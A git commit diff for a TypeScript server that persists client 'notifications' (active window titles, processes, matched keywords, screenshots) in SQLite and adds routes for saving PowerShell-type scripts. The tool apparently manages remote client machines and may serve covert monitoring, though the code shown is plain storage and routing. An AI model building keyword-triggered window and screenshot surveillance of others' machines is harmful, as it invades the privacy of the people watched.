persistent notifications + save scripts not tied to local storage.
This commit is contained in:
@@ -216,6 +216,20 @@ db.run(`
|
||||
`);
|
||||
db.run(`CREATE INDEX IF NOT EXISTS idx_build_profiles_user_updated ON build_profiles(user_id, updated_at DESC);`);
|
||||
|
||||
db.run(`
|
||||
CREATE TABLE IF NOT EXISTS saved_scripts (
|
||||
id TEXT PRIMARY KEY,
|
||||
user_id INTEGER NOT NULL,
|
||||
name TEXT NOT NULL,
|
||||
content TEXT NOT NULL,
|
||||
script_type TEXT NOT NULL DEFAULT 'powershell',
|
||||
created_at INTEGER NOT NULL,
|
||||
updated_at INTEGER NOT NULL
|
||||
);
|
||||
`);
|
||||
db.run(`CREATE INDEX IF NOT EXISTS idx_saved_scripts_user ON saved_scripts(user_id, updated_at DESC);`);
|
||||
|
||||
|
||||
db.run(`
|
||||
CREATE TABLE IF NOT EXISTS notification_screenshots (
|
||||
id TEXT PRIMARY KEY,
|
||||
@@ -235,6 +249,26 @@ db.run(
|
||||
`CREATE INDEX IF NOT EXISTS idx_notification_screenshots_ts ON notification_screenshots(ts DESC);`,
|
||||
);
|
||||
|
||||
db.run(`
|
||||
CREATE TABLE IF NOT EXISTS notifications (
|
||||
id TEXT PRIMARY KEY,
|
||||
client_id TEXT NOT NULL,
|
||||
host TEXT,
|
||||
user TEXT,
|
||||
os TEXT,
|
||||
title TEXT NOT NULL,
|
||||
process TEXT,
|
||||
process_path TEXT,
|
||||
pid INTEGER,
|
||||
keyword TEXT,
|
||||
category TEXT NOT NULL DEFAULT 'active_window',
|
||||
ts INTEGER NOT NULL,
|
||||
screenshot_id TEXT
|
||||
);
|
||||
`);
|
||||
db.run(`CREATE INDEX IF NOT EXISTS idx_notifications_ts ON notifications(ts DESC);`);
|
||||
db.run(`CREATE INDEX IF NOT EXISTS idx_notifications_client_id ON notifications(client_id);`);
|
||||
|
||||
db.run(`
|
||||
CREATE TABLE IF NOT EXISTS push_subscriptions (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
@@ -1534,6 +1568,72 @@ export function deleteBuildProfileForUser(userId: number, name: string): boolean
|
||||
return ((result as any)?.changes || 0) > 0;
|
||||
}
|
||||
|
||||
export interface SavedScriptRecord {
|
||||
id: string;
|
||||
userId: number;
|
||||
name: string;
|
||||
content: string;
|
||||
scriptType: string;
|
||||
createdAt: number;
|
||||
updatedAt: number;
|
||||
}
|
||||
|
||||
export function listSavedScriptsForUser(userId: number): SavedScriptRecord[] {
|
||||
return db
|
||||
.query<any>(
|
||||
`SELECT id, user_id, name, content, script_type, created_at, updated_at
|
||||
FROM saved_scripts
|
||||
WHERE user_id = ?
|
||||
ORDER BY updated_at DESC`,
|
||||
)
|
||||
.all(userId)
|
||||
.map((row: any) => ({
|
||||
id: row.id,
|
||||
userId: row.user_id,
|
||||
name: row.name,
|
||||
content: row.content,
|
||||
scriptType: row.script_type,
|
||||
createdAt: row.created_at,
|
||||
updatedAt: row.updated_at,
|
||||
}));
|
||||
}
|
||||
|
||||
export function saveSavedScript(
|
||||
id: string,
|
||||
userId: number,
|
||||
name: string,
|
||||
content: string,
|
||||
scriptType: string,
|
||||
): SavedScriptRecord {
|
||||
const now = Date.now();
|
||||
db.run(
|
||||
`INSERT INTO saved_scripts (id, user_id, name, content, script_type, created_at, updated_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
name = excluded.name,
|
||||
content = excluded.content,
|
||||
script_type = excluded.script_type,
|
||||
updated_at = excluded.updated_at`,
|
||||
id,
|
||||
userId,
|
||||
name,
|
||||
content,
|
||||
scriptType,
|
||||
now,
|
||||
now,
|
||||
);
|
||||
return { id, userId, name, content, scriptType, createdAt: now, updatedAt: now };
|
||||
}
|
||||
|
||||
export function deleteSavedScript(userId: number, scriptId: string): boolean {
|
||||
const result = db.run(
|
||||
`DELETE FROM saved_scripts WHERE id = ? AND user_id = ?`,
|
||||
scriptId,
|
||||
userId,
|
||||
);
|
||||
return ((result as any)?.changes || 0) > 0;
|
||||
}
|
||||
|
||||
export interface BuildRecord {
|
||||
id: string;
|
||||
status: string;
|
||||
@@ -1735,6 +1835,89 @@ export function clearNotificationScreenshots() {
|
||||
console.log("[db] cleared notification screenshots");
|
||||
}
|
||||
|
||||
export type NotificationRow = {
|
||||
id: string;
|
||||
clientId: string;
|
||||
host?: string;
|
||||
user?: string;
|
||||
os?: string;
|
||||
title: string;
|
||||
process?: string;
|
||||
processPath?: string;
|
||||
pid?: number;
|
||||
keyword?: string;
|
||||
category: string;
|
||||
ts: number;
|
||||
screenshotId?: string;
|
||||
};
|
||||
|
||||
export function saveNotification(record: NotificationRow) {
|
||||
db.run(
|
||||
`INSERT OR REPLACE INTO notifications
|
||||
(id, client_id, host, user, os, title, process, process_path, pid, keyword, category, ts, screenshot_id)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
record.id,
|
||||
record.clientId,
|
||||
record.host ?? null,
|
||||
record.user ?? null,
|
||||
record.os ?? null,
|
||||
record.title,
|
||||
record.process ?? null,
|
||||
record.processPath ?? null,
|
||||
record.pid ?? null,
|
||||
record.keyword ?? null,
|
||||
record.category,
|
||||
record.ts,
|
||||
record.screenshotId ?? null,
|
||||
);
|
||||
}
|
||||
|
||||
export function updateNotificationScreenshotId(notificationId: string, screenshotId: string) {
|
||||
db.run(
|
||||
`UPDATE notifications SET screenshot_id = ? WHERE id = ?`,
|
||||
screenshotId,
|
||||
notificationId,
|
||||
);
|
||||
}
|
||||
|
||||
export function getNotificationHistory(limit: number = 500): NotificationRow[] {
|
||||
const rows = db
|
||||
.query<any>(`SELECT * FROM notifications ORDER BY ts DESC LIMIT ?`)
|
||||
.all(limit);
|
||||
return rows.map((row: any) => ({
|
||||
id: row.id,
|
||||
clientId: row.client_id,
|
||||
host: row.host ?? undefined,
|
||||
user: row.user ?? undefined,
|
||||
os: row.os ?? undefined,
|
||||
title: row.title,
|
||||
process: row.process ?? undefined,
|
||||
processPath: row.process_path ?? undefined,
|
||||
pid: row.pid ?? undefined,
|
||||
keyword: row.keyword ?? undefined,
|
||||
category: row.category,
|
||||
ts: row.ts,
|
||||
screenshotId: row.screenshot_id ?? undefined,
|
||||
}));
|
||||
}
|
||||
|
||||
const NOTIFICATION_RETENTION_MS = 3 * 24 * 60 * 60 * 1000;
|
||||
|
||||
export function pruneOldNotifications() {
|
||||
const cutoff = Date.now() - NOTIFICATION_RETENTION_MS;
|
||||
db.run(`DELETE FROM notification_screenshots WHERE notification_id IN (SELECT id FROM notifications WHERE ts < ?)`, cutoff);
|
||||
const result = db.run(`DELETE FROM notifications WHERE ts < ?`, cutoff);
|
||||
if (result.changes > 0) {
|
||||
console.log(`[db] pruned ${result.changes} notifications older than 3 days`);
|
||||
}
|
||||
}
|
||||
|
||||
export function clearNotifications() {
|
||||
db.run(`DELETE FROM notifications`);
|
||||
db.run(`DELETE FROM notification_screenshots`);
|
||||
console.log("[db] cleared all notifications and screenshots");
|
||||
}
|
||||
|
||||
export function getClientEnrollmentStatus(id: string): string | null {
|
||||
const row = db
|
||||
.query<{ enrollment_status: string }>(
|
||||
|
||||
@@ -5,7 +5,7 @@ import { fileURLToPath } from "url";
|
||||
import path from "path";
|
||||
import fs from "fs/promises";
|
||||
import { existsSync } from "node:fs";
|
||||
import { upsertClientRow, setOnlineState, listClients, markAllClientsOffline, getBuild, getBuildByTag, getAllBuilds, deleteExpiredBuilds, deleteBuild, getNotificationScreenshot, clearNotificationScreenshots, deleteClientRow, getClientIp, banIp, isIpBanned, clientExists, deleteExpiredSharedFiles, getChatHistory, insertChatMessage, getOnlineClientCountForUser, deleteExpiredChatMessages, recordBuildClaim, getClientMetricsSummary } from "./db";
|
||||
import { upsertClientRow, setOnlineState, listClients, markAllClientsOffline, getBuild, getBuildByTag, getAllBuilds, deleteExpiredBuilds, deleteBuild, getNotificationScreenshot, clearNotificationScreenshots, deleteClientRow, getClientIp, banIp, isIpBanned, clientExists, deleteExpiredSharedFiles, getChatHistory, insertChatMessage, getOnlineClientCountForUser, deleteExpiredChatMessages, recordBuildClaim, getClientMetricsSummary, pruneOldNotifications } from "./db";
|
||||
import { handleFrame, handleHello, handlePing, handlePong } from "./wsHandlers";
|
||||
import { getMessageByteLength, getMaxPayloadLimit, isAllowedClientMessageType } from "./wsValidation";
|
||||
import { ClientInfo, ClientRole } from "./types";
|
||||
@@ -19,6 +19,7 @@ import { metrics } from "./metrics";
|
||||
import { ensureDataDir } from "./paths";
|
||||
import { handleAuthRoutes } from "./server/routes/auth-routes";
|
||||
import { handleAutoScriptsRoutes } from "./server/routes/auto-scripts-routes";
|
||||
import { handleSavedScriptsRoutes } from "./server/routes/saved-scripts-routes";
|
||||
import { handleEnrollmentRoutes, setPostApproveHook } from "./server/routes/enrollment-routes";
|
||||
import { handleChatRoutes } from "./server/routes/chat-routes";
|
||||
import { handleBuildRoutes } from "./server/routes/build-routes";
|
||||
@@ -285,7 +286,6 @@ type NotificationRateState = {
|
||||
lastWarned: number;
|
||||
};
|
||||
|
||||
const notificationHistory: NotificationRecord[] = [];
|
||||
const notificationRate = new Map<string, NotificationRateState>();
|
||||
const getNotificationConfig = () => getConfig().notifications;
|
||||
|
||||
@@ -298,7 +298,10 @@ const storeNotificationScreenshotForPending = (
|
||||
format: string,
|
||||
width?: number,
|
||||
height?: number,
|
||||
) => storeNotificationScreenshot(notificationHistory, pending, bytes, format, width, height);
|
||||
) => storeNotificationScreenshot(pending, bytes, format, width, height);
|
||||
|
||||
pruneOldNotifications();
|
||||
setInterval(pruneOldNotifications, 60 * 60 * 1000);
|
||||
const deliverNotificationWithScreenshotForRecord = (record: NotificationRecord) => {
|
||||
const getUserDeliveryTargets = (clientId: string): UserDeliveryTarget[] => {
|
||||
return getUsersForNotificationDeliveryByClient(clientId)
|
||||
@@ -321,7 +324,6 @@ const deliverNotificationWithScreenshotForRecord = (record: NotificationRecord)
|
||||
};
|
||||
|
||||
const notificationPluginHandlers = createNotificationPluginHandlers({
|
||||
notificationHistory,
|
||||
notificationRate,
|
||||
pendingNotificationScreenshots,
|
||||
pluginLoadedByClient,
|
||||
@@ -711,6 +713,7 @@ async function startServer() {
|
||||
handleAuthRoutes,
|
||||
handleNotificationsConfigRoutes,
|
||||
handleAutoScriptsRoutes,
|
||||
handleSavedScriptsRoutes,
|
||||
handleAutoDeployRoutes,
|
||||
handleEnrollmentRoutes,
|
||||
handleChatRoutes,
|
||||
|
||||
@@ -41,6 +41,7 @@ type HttpDispatchDeps<
|
||||
handleAuthRoutes: RouteHandlerWithServer<TServer>;
|
||||
handleNotificationsConfigRoutes: RouteHandlerWithServerDeps<TServer, TNotificationsConfig>;
|
||||
handleAutoScriptsRoutes: RouteHandler;
|
||||
handleSavedScriptsRoutes: RouteHandler;
|
||||
handleAutoDeployRoutes: RouteHandlerWithDeps<TAutoDeploy>;
|
||||
handleEnrollmentRoutes: RouteHandler;
|
||||
handleChatRoutes: RouteHandler;
|
||||
@@ -131,6 +132,9 @@ export function createHttpFetchHandler<
|
||||
const autoScriptsResponse = await deps.handleAutoScriptsRoutes(req, url);
|
||||
if (autoScriptsResponse) return autoScriptsResponse;
|
||||
|
||||
const savedScriptsResponse = await deps.handleSavedScriptsRoutes(req, url);
|
||||
if (savedScriptsResponse) return savedScriptsResponse;
|
||||
|
||||
const autoDeployResponse = await deps.handleAutoDeployRoutes(req, url, deps.routeDeps.autoDeploy);
|
||||
if (autoDeployResponse) return autoDeployResponse;
|
||||
|
||||
|
||||
@@ -2,6 +2,7 @@ import { v4 as uuidv4 } from "uuid";
|
||||
import {
|
||||
getNotificationScreenshot,
|
||||
saveNotificationScreenshot,
|
||||
updateNotificationScreenshotId,
|
||||
getAllPushSubscriptions,
|
||||
deletePushSubscription,
|
||||
type NotificationScreenshotRecord,
|
||||
@@ -133,7 +134,6 @@ export function takePendingNotificationScreenshot(
|
||||
}
|
||||
|
||||
export function storeNotificationScreenshot(
|
||||
notificationHistory: NotificationRecord[],
|
||||
pending: PendingNotificationScreenshot,
|
||||
bytes: Uint8Array,
|
||||
format: string,
|
||||
@@ -154,10 +154,7 @@ export function storeNotificationScreenshot(
|
||||
bytes,
|
||||
});
|
||||
|
||||
const record = notificationHistory.find((item) => item.id === pending.notificationId);
|
||||
if (record) {
|
||||
record.screenshotId = screenshotId;
|
||||
}
|
||||
updateNotificationScreenshotId(pending.notificationId, screenshotId);
|
||||
}
|
||||
|
||||
async function deliverToUserWebhook(
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import {
|
||||
listSavedScriptsForUser,
|
||||
saveSavedScript,
|
||||
deleteSavedScript,
|
||||
} from "../../db";
|
||||
import { ALLOWED_SCRIPT_TYPES } from "../validation-constants";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
|
||||
export async function handleSavedScriptsRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
): Promise<Response | null> {
|
||||
if (req.method === "GET" && url.pathname === "/api/saved-scripts") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
|
||||
return Response.json({ items: listSavedScriptsForUser(user.userId) });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/saved-scripts") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid JSON" }, { status: 400 });
|
||||
}
|
||||
|
||||
const name = String(body?.name || "").trim();
|
||||
const content = String(body?.content || "");
|
||||
const scriptTypeRaw = String(body?.scriptType || "powershell").trim();
|
||||
const id = body?.id ? String(body.id) : uuidv4();
|
||||
|
||||
if (!name) {
|
||||
return Response.json({ error: "Name is required" }, { status: 400 });
|
||||
}
|
||||
if (!content.trim()) {
|
||||
return Response.json({ error: "Script content is required" }, { status: 400 });
|
||||
}
|
||||
|
||||
const scriptType = ALLOWED_SCRIPT_TYPES.has(scriptTypeRaw)
|
||||
? scriptTypeRaw
|
||||
: "powershell";
|
||||
|
||||
const item = saveSavedScript(id, user.userId, name, content, scriptType);
|
||||
return Response.json({ ok: true, item });
|
||||
}
|
||||
|
||||
const savedScriptMatch = url.pathname.match(/^\/api\/saved-scripts\/(.+)$/);
|
||||
if (savedScriptMatch && req.method === "DELETE") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response(JSON.stringify({ error: "Not authenticated" }), {
|
||||
status: 401,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
});
|
||||
}
|
||||
|
||||
const scriptId = decodeURIComponent(savedScriptMatch[1]);
|
||||
const deleted = deleteSavedScript(user.userId, scriptId);
|
||||
if (!deleted) {
|
||||
return Response.json({ error: "Not found" }, { status: 404 });
|
||||
}
|
||||
return Response.json({ ok: true });
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -2,6 +2,7 @@ import type { ServerWebSocket } from "bun";
|
||||
import { encode as msgpackEncode } from "@msgpack/msgpack";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import * as clientManager from "../clientManager";
|
||||
import { saveNotification, getNotificationHistory } from "../db";
|
||||
import { logger } from "../logger";
|
||||
import { metrics } from "../metrics";
|
||||
import { encodeMessage } from "../protocol";
|
||||
@@ -47,7 +48,6 @@ type NotificationConfigShape = {
|
||||
};
|
||||
|
||||
type CreateDeps = {
|
||||
notificationHistory: NotificationRecord[];
|
||||
notificationRate: Map<string, NotificationRateState>;
|
||||
pendingNotificationScreenshots: Map<string, PendingNotificationScreenshot>;
|
||||
pluginLoadedByClient: Map<string, Set<string>>;
|
||||
@@ -241,10 +241,11 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
ws.data.sessionId = sessionId;
|
||||
logger.info(`[notify] viewer connected session=${sessionId} userId=${userId ?? "?"} role=${userRole}`);
|
||||
|
||||
const allHistory = getNotificationHistory(500);
|
||||
const visibleHistory =
|
||||
userRole === "admin"
|
||||
? deps.notificationHistory
|
||||
: deps.notificationHistory.filter(
|
||||
? allHistory
|
||||
: allHistory.filter(
|
||||
(item) =>
|
||||
userId !== undefined &&
|
||||
deps.canUserAccessClient(userId, userRole, item.clientId),
|
||||
@@ -281,12 +282,7 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
ts,
|
||||
};
|
||||
|
||||
deps.notificationHistory.unshift(record);
|
||||
const notificationConfig = deps.getNotificationConfig();
|
||||
const limit = Math.max(50, notificationConfig.historyLimit || 200);
|
||||
if (deps.notificationHistory.length > limit) {
|
||||
deps.notificationHistory.splice(limit);
|
||||
}
|
||||
saveNotification(record);
|
||||
|
||||
requestNotificationScreenshot(info, record);
|
||||
|
||||
|
||||
Reference in New Issue
Block a user